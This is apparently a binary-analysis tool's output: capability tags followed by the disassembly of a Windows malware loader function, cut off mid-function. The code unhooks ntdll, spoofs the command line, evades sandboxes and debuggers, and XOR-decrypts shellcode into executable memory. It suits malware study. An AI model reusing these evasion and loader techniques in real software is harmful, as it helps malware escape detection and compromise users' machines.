Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002b80
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
mov ecx, 0x968
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x87c], 0
jmp 0x140001558
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
movsd xmm1, qword [0x14000b628]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x12c
jle 0x14000151a
mov dword [rbp + 0x87c], 0
jmp 0x1400015f5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x87c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7e8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bc0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x12c
jle 0x140001573
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x870], rax
cmp qword [rbp + 0x870], 0
jne 0x140001689
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x870], rax
cmp qword [rbp + 0x870], 0
je 0x140001d64
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
mov rax, qword [rbp + 0x7e0]
mov r10, qword [rbp + 0x870]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x7d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x86c], 0x208
mov dword [rbp + 0x868], 0xd2
mov dword [rbp + 0x864], 0x366
mov dword [rbp + 0x860], 0x2f8
jmp 0x140001875
mov eax, dword [rbp + 0x864]
cmp eax, dword [rbp + 0x860]
jle 0x140001812
mov eax, dword [rbp + 0x864]
cmp eax, dword [rbp + 0x86c]
jle 0x1400017f2
mov eax, dword [rbp + 0x864]
cmp eax, dword [rbp + 0x868]
jle 0x1400017e9
sub dword [rbp + 0x864], 1
jmp 0x14000185e
sub dword [rbp + 0x868], 1
jmp 0x14000185e
mov eax, dword [rbp + 0x86c]
cmp eax, dword [rbp + 0x868]
jle 0x140001809
sub dword [rbp + 0x86c], 1
jmp 0x14000185e
sub dword [rbp + 0x868], 1
jmp 0x14000185e
mov eax, dword [rbp + 0x860]
cmp eax, dword [rbp + 0x86c]
jle 0x140001840
mov eax, dword [rbp + 0x860]
cmp eax, dword [rbp + 0x868]
jle 0x140001837
sub dword [rbp + 0x860], 1
jmp 0x14000185e
sub dword [rbp + 0x868], 1
jmp 0x14000185e
mov eax, dword [rbp + 0x86c]
cmp eax, dword [rbp + 0x868]
jle 0x140001857
sub dword [rbp + 0x86c], 1
jmp 0x14000185e
sub dword [rbp + 0x868], 1
mov eax, dword [rbp + 0x864]
mov edx, eax
lea rax, [0x14000b054]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x864], 0
jg 0x1400017b6
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov qword [rbp + 0x7b0], rax
mov word [rbp + 0x85e], 0
jmp 0x140001d4c
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x85e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov ecx, 0xd5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x854], 0x356
mov dword [rbp + 0x858], 0
jmp 0x1400019e8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x798]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x356
jle 0x140001955
mov dword [rbp + 0x858], 0
jmp 0x140001a87
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x854], 1
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x356
jle 0x140001a07
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001d3b
mov dword [rbp + 0x618], 0
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0xa70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x850], 0
jmp 0x140001ba3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x780]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x29b
jle 0x140001b56
mov dword [rbp + 0x850], 0
jmp 0x140001c93
cmp dword [rbp + 0x850], 0
je 0x140001c03
mov eax, dword [rbp + 0x850]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x850]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001c0f
add dword [rbp + 0x850], 1
jmp 0x140001c93
mov eax, dword [rbp + 0x850]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x77c], eax
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x780]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rdx, rax
mov eax, dword [rbp + 0x77c]
mov dword [rdx], eax
sub dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x29b
jle 0x140001bbe
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x618]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x85e]
add eax, 1
mov word [rbp + 0x85e], ax
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x85e], ax
jb 0x1400018bc
mov dword [rbp + 0x84c], 0xffffffff
add dword [rbp + 0x84c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x33a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b628]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
mov qword [rbp + 0x770], rax
cmp dword [rbp + 0x84c], 0x3b2
jle 0x140001d6e
mov dword [rbp + 0x61c], 0
mov rax, qword [rbp + 0x7f8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x61c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x628]
add rax, 0x3c
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov ecx, 0
call rax
mov dword [rbp + 0x754], eax
cmp dword [rbp + 0x754], 0xffffffff
je 0x140002abd
mov qword [rbp + 0x840], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x140001f30
mov rax, qword [rbp + 0x748]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x740]
mov r9d, 0x3000
mov r8d, 0x361
mov edx, 0
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
je 0x140002abd
mov dword [rbp + 0x614], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x614]
mov r8, qword [rbp + 0x738]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x614]
cmp eax, 1
je 0x140002abd
mov qword [rbp + 0x838], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002034
mov rax, qword [rbp + 0x730]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x728]
mov r9d, 0x3000
mov r8d, 0x49b
mov edx, 0
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140002abd
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x718]
mov r9d, 0x3000
mov r8d, 0x321
mov edx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002abd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002121
mov rax, qword [rbp + 0x710]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov ecx, 0
call rax
mov dword [rbp + 0x834], eax
cmp dword [rbp + 0x834], 0xffffffff
je 0x140002abd
mov ecx, 0x640
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x640
jne 0x140002abd
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x828], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x1400021f0
mov rax, qword [rbp + 0x700]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x2bd
mov edx, 0
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
je 0x140002abd
mov dword [rbp + 0x610], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x610]
mov r8, qword [rbp + 0x6f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x610]
cmp eax, 1
je 0x140002abd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e4], eax
mov ecx, 0x225
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e0], eax
mov eax, dword [rbp + 0x6e0]
sub eax, dword [rbp + 0x6e4]
cmp eax, 0x1f3
jbe 0x140002abd
lea rax, [rbp + 0x120]
lea rdx, [0x14000b138]
mov ecx, 0x9d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d8]
mov r8d, 0
mov edx, 0x4ed
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov r9, qword [rbp + 0x6d0]
mov r8d, 0x4ed
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x6c0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0x4ed
mov rcx, rax
call r9
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x820], 0x29e
mov dword [rbp + 0x81c], 0xc8
jmp 0x140002416
mov eax, dword [rbp + 0x820]
cmp eax, dword [rbp + 0x81c]
jle 0x14000240f
sub dword [rbp + 0x820], 1
jmp 0x140002416
sub dword [rbp + 0x81c], 1
cmp dword [rbp + 0x820], 0
jg 0x1400023f8
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0x72d6b2cb6b6fcd77
movabs rdx, 0x95ebc7f66a291ea9
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x97bc143876541179
movabs rdx, 0x6fc76642e69cf120
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x4b98f58c34beea2c
movabs rdx, 0x3af248684e0ad02
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x998a35e01b65aa51
movabs rdx, 0xc2c4b56ce9bc3f99
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xf66f3282c8a3043d
movabs rdx, 0x88191ba60dbde3a5
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x1723f77b88191ba6
movabs rdx, 0x3211ca2fc1de92
mov qword [rbp + 0xc], rax
mov qword [rbp + 0x14], rdx
movabs rax, 0x149eacaf2110d816
movabs rdx, 0x48eaf41c3f74df4f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xe64a1fbd3435aa5b
movabs rdx, 0x8124b3d7ad8bea8a
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xac37d4b9fa14bc8c
movabs rdx, 0xcd05f1730aa9c197
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xc5bea325a34b1bf2
movabs rdx, 0x9afb9598c1b1b352
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x8d30ad58857735b1
movabs rdx, 0xec703e41719f45ee
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x9ab03abf64bd61f3
movabs rdx, 0x593324772a21adf2
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x27f0675191d0d711
movabs rdx, 0x4307680adde116f0
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
mov dword [rbp + 0x10f], 0x9f4e43
mov dword [rbp + 0x810], 0xffffffff
add dword [rbp + 0x810], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x6b4], edx
mov edx, dword [rbp + 0x6b4]
imul edx, edx, 0x1d
sub eax, edx
mov dword [rbp + 0x6b4], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b628]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x6b4]
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x6a8], rax
cmp dword [rbp + 0x810], 0x9d
jle 0x1400025dd
jmp 0x140002710
mov eax, dword [rbp + 0x824]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x824]
cdqe
mov byte [rbp + rax + 0x20], dl
cmp dword [rbp + 0x818], 0x5a
jne 0x140002702
mov dword [rbp + 0x80c], 0
jmp 0x1400026ea
call sub.msvcrt.dll_rand
imul eax, eax, 0x276
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b628]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
mov qword [rbp + 0x668], rax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x3a3
jle 0x1400026a9
mov dword [rbp + 0x818], 0
jmp 0x140002709
add dword [rbp + 0x818], 1
add dword [rbp + 0x824], 1
mov eax, dword [rbp + 0x824]
cmp eax, 0x71
jbe 0x140002669
mov dword [rbp + 0x808], 0x294
jmp 0x140002732
sub dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0
jg 0x14000272b
mov dword [rbp + 0x824], 0
jmp 0x140002a24
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x814], 0x71
jne 0x14000279d
mov dword [rbp + 0x814], 0
jmp 0x1400027a4
add dword [rbp + 0x814], 1
mov dword [rbp + 0x68c], 0
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x804], 0
jmp 0x1400028e8
mov dword [rbp + 0x800], 0
jmp 0x1400028d4
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x804]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x680]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x800]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x804]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x678]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x800]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x1a
jle 0x1400027ff
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0xd
jle 0x1400027f0
mov dword [rbp + 0x804], 0
jmp 0x1400029e3
mov dword [rbp + 0x800], 0
jmp 0x1400029cf
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x680]
add rdx, rax
mov eax, dword [rbp + 0x800]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x800]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x800]
cdqe
